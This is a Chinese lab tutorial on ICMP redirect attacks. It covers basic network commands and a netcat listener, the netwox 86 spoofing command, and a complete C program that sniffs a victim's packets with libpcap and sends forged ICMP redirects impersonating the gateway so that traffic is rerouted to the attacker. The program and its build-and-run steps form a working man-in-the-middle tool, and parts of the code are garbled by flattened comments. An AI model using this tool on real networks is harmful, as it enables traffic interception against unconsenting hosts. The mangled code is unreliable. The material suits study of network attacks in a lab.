网络安全——ICMP重定向攻击
- 网络命令
- 网络工具——netwox
- 一、实验原理
- 二、设计代码
网络命令
- 网络不可用
$ ping ${域名}
$ ping ${ip地址}
$ ifconfig #lo:本地网卡;enss:朝外发包的网卡
$ ifconfig -a #对比上一条结果,查看哪个网卡未开启
$ route #route -n查看本机网络状况
$ netstat -lt #正在监听的tcp端口,-p显示进程号
$
第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。
第二条是link-local,这个是链路本地地址(link local address),是设备在本地网络中通讯时用的地址,网段为169.254.0.1~169.254.254.255。主要作用是DHCP服务器故障,或者DHCP超时,不致于设备没有IP而造成连接不上。LLA是本地链路的地址,是在本地网络通讯的,不通过路由器转发,因此网关为0.0.0.0。
第三条是直联网段的路由记录:当路由器收到发往直联网段的数据包时该如何处理。因为是本地网络通信,不经过网关,所以是0.0.0.0.
- 主机间通信
netcat
命令,可以用于扫描端口、后门。
$ nc -l 1234 #创建一个监听端口
$ nc ${目的主机IP地址} 1234
- WHOIS(发音为“who is”) 是一种查询和响应协议,广泛用于查询存储了Internet资源注册用户等数据库,例如域名、IP地址块或自治系统 ,但也用于更广泛的其他信息。 该协议以人类可读的格式存储和提供数据库内容。
- netstat 在内核中访问网络连接状态及其相关信息的程序
网络工具——netwox
试验机器: Ubantu 18.04.2 LTS VMware Workstation 17
准备工作:
修改VMware Workstation
网络适配器模式为桥接模式 ;
一、实验原理
$ lsb_release -a $ cat /proc/version $ xrandr -s 1024x768
$ sudo apt install net-tools traceroute netwox #安装net-tools、traceroute、netwox
$ sudo apt-get install wireshark
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects #打开重定向选项
$ sudo sysctl -w net.ipv4.conf.all.accept_redirects=1 #ip_forward与accept_redirects相反?sysctl命令用于运行时配置内核参数,-w临时修改。
虚拟机1:IP地址192.168.1.108,默认网关地址192.168.1.1
虚拟机2(clone):IP地址192.168.1.107
查找信息:
$ route -n #查看路由表
$ sudo netwox 86 -f "host ${被攻击主机ip地址}" -g "${新指定的网关ip地址}" -i "${当前网关ip地址}"
$ sudo wireshark
通过wireshark抓包查看所发出的数据包的源IP是原来的默认网关,而不是攻击者真实的IP。 接下来分析一下ICMP的数据报格式:由于不同Type的数据报有不同的格式,但是它们的首行都是一致的,包含Type、Code、Checksum。
- ICMP重定向报文,除了ICMP包中的通用头部4字节之外,还包括原始IP头部信息和数据报文的前8个字节(这里是目的地址不可达的ICMP差错信息)。 也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)。
- 另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。 路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。
主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。这里的netwox
就是通知主机需要更新路由表。
二、设计代码
代码参考:
#include <pcap.h> #include <linux/ip.h> #include <linux/icmp.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> //对POSIX 操作系统API的访问功能
#define MAX 1024
#define SIZE_ETHERNET 14const unsigned char *Vic_IP = "192.168.3.185"; //被攻击主机IP
const unsigned char *Ori_Gw_IP = "192.168.3.1"; //原始网关IP
const unsigned char *Redic_IP = "192.168.3.184"; //修改后的网关IP,这里为攻击者IP
int flag = 0;/* IP 头部 */
struct ip_header //总长度20字节
{
#ifdef WORDS_BIGENDIAN //小端模式高位在低地址; 大端低地址低位高地址高位
u_int8_t ip_version:4;
u_int8_t ip_header_length:4;
#else
u_int8_t ip_header_length:4;
u_int8_t ip_version:4;
#endif
u_int8_t ip_tos; //服务类型
u_int16_t ip_length; //总长度
u_int16_t ip_id; //标志
u_int16_t ip_off; //分片偏移
u_int8_t ip_ttl; //生存时间
u_int8_t ip_protocol; //协议
u_int16_t ip_checksum; //校验和
struct in_addr ip_source_address; //in_addr表示32位的IPv4地址的结构体
struct in_addr ip_destination_address;
};/* icmp redirect 头部 */
struct icmp_header //
{
u_int8_t icmp_type; //类型
u_int8_t icmp_code; //代码
u_int16_t icmp_checksum; //校验和
struct in_addr icmp_gateway_addr;//u_int16_t icmp_identifier; //标识符 //u_int16_t icmp_sequence; //序列号
};
/* 计算校验和 */
//以字为单位压入双字中,处理双字高16位的溢出部分,最后取反输出校验和
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0; //4字节
u_int16_t *cbuf;cbuf=(u_int16_t *)buf; //每两字节二进制相加 while(len>1) { sum+=*cbuf++; len-=2; //长度的单位是8bit } if(len) sum+=*(u_int8_t *)cbuf; sum=(sum>>16)+(sum & 0xffff); //将高于16位(右移)与低16位(高位填充0)相加 sum+=(sum>>16); //如果还有高于16位,将继续与低16位相加 return ~sum; //对sum取反(返回的是十进制)
}
/**
*/
void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{
char buf[MAX], *p;struct ip_header *ip; struct icmp_header *icmp; int len,i; struct packet{ //IP报文 struct iphdr ip; struct icmphdr icmp; char datas[28]; }packet; //添加IP头部 packet.ip.version = 4; packet.ip.ihl = 5; //4B*5 packet.ip.tos = 0; //服务类型 packet.ip.tot_len = htons(56); packet.ip.id = getpid(); //标志 packet.ip.frag_off = 0; packet.ip.ttl = 255; packet.ip.protocol = IPPROTO_ICMP; packet.ip.check = 0; packet.ip.saddr = inet_addr(Ori_Gw_IP); //冒充原始网关,inet_addr将点分十进制转换成一个u_long型 packet.ip.daddr = inet_addr(Vic_IP); //被攻击主机 //添加ICMP头部 packet.icmp.type = ICMP_REDIRECT; packet.icmp.code = ICMP_REDIR_HOST; packet.icmp.checksum = 0; packet.icmp.un.gateway = inet_addr(Redic_IP); //netinet/in.h struct sockaddr_in dest = { .sin_family = AF_INET, .sin_addr = {.s_addr = inet_addr(Vic_IP)} }; //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中 memcpy(packet.datas, (data + SIZE_ETHERNET), 28); packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28); /** 用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址 * 发送端套接字描述符 * 待发送数据的缓冲区 * 待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位 * 一般为0 * 数据发送的目的地址 * 地址长度 */ sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest)); printf("send packet...\n");
}
/** pcap_loop 用到的回调函数
userarg:pcap_loop最后一个参数
pkthdr:收到的数据包的pcap_pkthdr类型的指针
packet:收到的数据包数据。
第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包,是一个结构体的集合。
*/
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int sockfd, res; //sockfd是socket描述符
int one = 1;
int *ptr_one = &one;/** int socket(int domain, int type, int protocol);确定构造的是ICMP数据包
- domain:设置网络通信的域,函数据此选择通信协议的族(sys/socket.h)
这里AF_INET对应IPv4协议,PF_UNIX为本地通信,PF_INET6为IPv6协议
- type:设置套接字通信的类型
SOCK_STREAM:双向流式套接字,TCP连接。connect-read-write
SOCK_DGRAM :数据包套接字,提供原始网络协议访问。sendto-recvfrom
SOCK_DGRAM :UDP连接,无连接状态的消息。sendto-recvform
- protocol:制定某个协议的特定类型,即type类型中的某个类型
0:只有一种特定类型
- 返回值:标识这个套接字的文件描述符,失败返回-1
/
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
{
printf("**** create sockfd error *****\n");
exit(-1);
}/** 用于任意类型、任意状态套接口的设置选项值(socket.h),这里因为上面的Socket类型选择了IPPROTO_ICMP,需要自行定义头部,否则系统会默认生成IP地址为本机的头部,构造出来的ICMP包无法构成重定向攻击。如果是IPPROTO_RAW则可以不用此函数。
- s:标识要给套接字的描述符
- level:指定选项代码的类型
SOL_SOCKET :基本套接口
IPPROTO_IP :IPv4套接口
IPPROTO_IPV6:IPv6套接口
IPPROTO_TCP :TCP套接口
- optname:需设置的选项的名称
- optval:指向存放选项值的缓冲区的指针
- optlen:optval缓冲区长度
- 返回值int:标志打开或关闭某个特征的二进制选项
/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
if(res < 0)
{
printf("**** setsockopt error *****\n");
exit(-3);
}//填充数据部分
ping_redirect(sockfd, packet, 0);}
int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;/** 查找网络设备 * 返回可被调用的网络折别名指针,errBuf存放出错信息字符串 * */ devStr = pcap_lookupdev(errBuf); if(devStr) { printf("running...\n- device of my computer: %s\n", devStr); } else { printf("run error: %s\n", errBuf); exit(1); } /** 打开一个用于捕获数据的网络接口 * device: 网络接口字符串,也可人为指定 * snaplen:捕获数据包的长度,最大65535字节 * promise:1表示混杂模式 * to_ms: 需要等待的毫秒数,超过后函数立即返回 * ebuf: 存放错误信息 * 返回值pcap_t:pcap_t类型指针,后面操作都要用到该指针(文件句柄) * */ pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf); printf("- device of pcap_open_live() is: %s\n", device); if (device == NULL) printf("- error: %s\n", errBuf); /** 制定过滤规则 * 该攻击中删除与否无所谓,添加此过滤规则只是为了限定处理包的类型,提高效率 */ struct bpf_program filter; char filterstr[50]={0}; sprintf(filterstr,"src host %s",Vic_IP); //规则语法:设置包的源ip为被攻击者IP,对应netwox 86 -f "${filterstr}" /** 将用户制定的过滤策略编译到过滤程序中 * p:pcap会话句柄 * fp:存放编译后的规则 * str:规则表达式 * optimize:指定优化选项,1true,0false * netmask:舰艇接口的网络掩码 * 返回值int:失败返回-1,成功返回其他值 * */ pcap_compile(device,&filter,filterstr,1,0); /** 设置过滤器 * */ pcap_setfilter(device,&filter); /** 循环捕获网络数据包,直至遇到错误或满足退出条件,每次捕获都会调用callback指定的回调函数,可以在该函数中进行数据包的处理操作 * p:pcap_open_live()返回的pcap_t类型的指针 * cnt:指定捕获数据包的个数,-1直至错误 * callback:回调函数,自命名 * user:向回调函数中传递的参数 * 返回值int:成功返回0,失败返回负数 * */ int id = 0; pcap_loop(device, -1, getPacket, NULL); /** 关闭并释放资源 */ pcap_close(device); return 0;
}
编译:
sudo apt install libpcap-dev
gcc ICMPAttack.c -lpcap -o ICMPAttack
sudo ./ICMPAttack #必须要sudo
抓到的数据包如下:这里直接将攻击对象改成了本地主机,IP地址可能与上面对应不上。
参考博客: pcap相关函数: https://blog.csdn.net/tennysonsky/article/details/44811899 socket函数: https://blog.csdn.net/mpp_king/article/details/80222304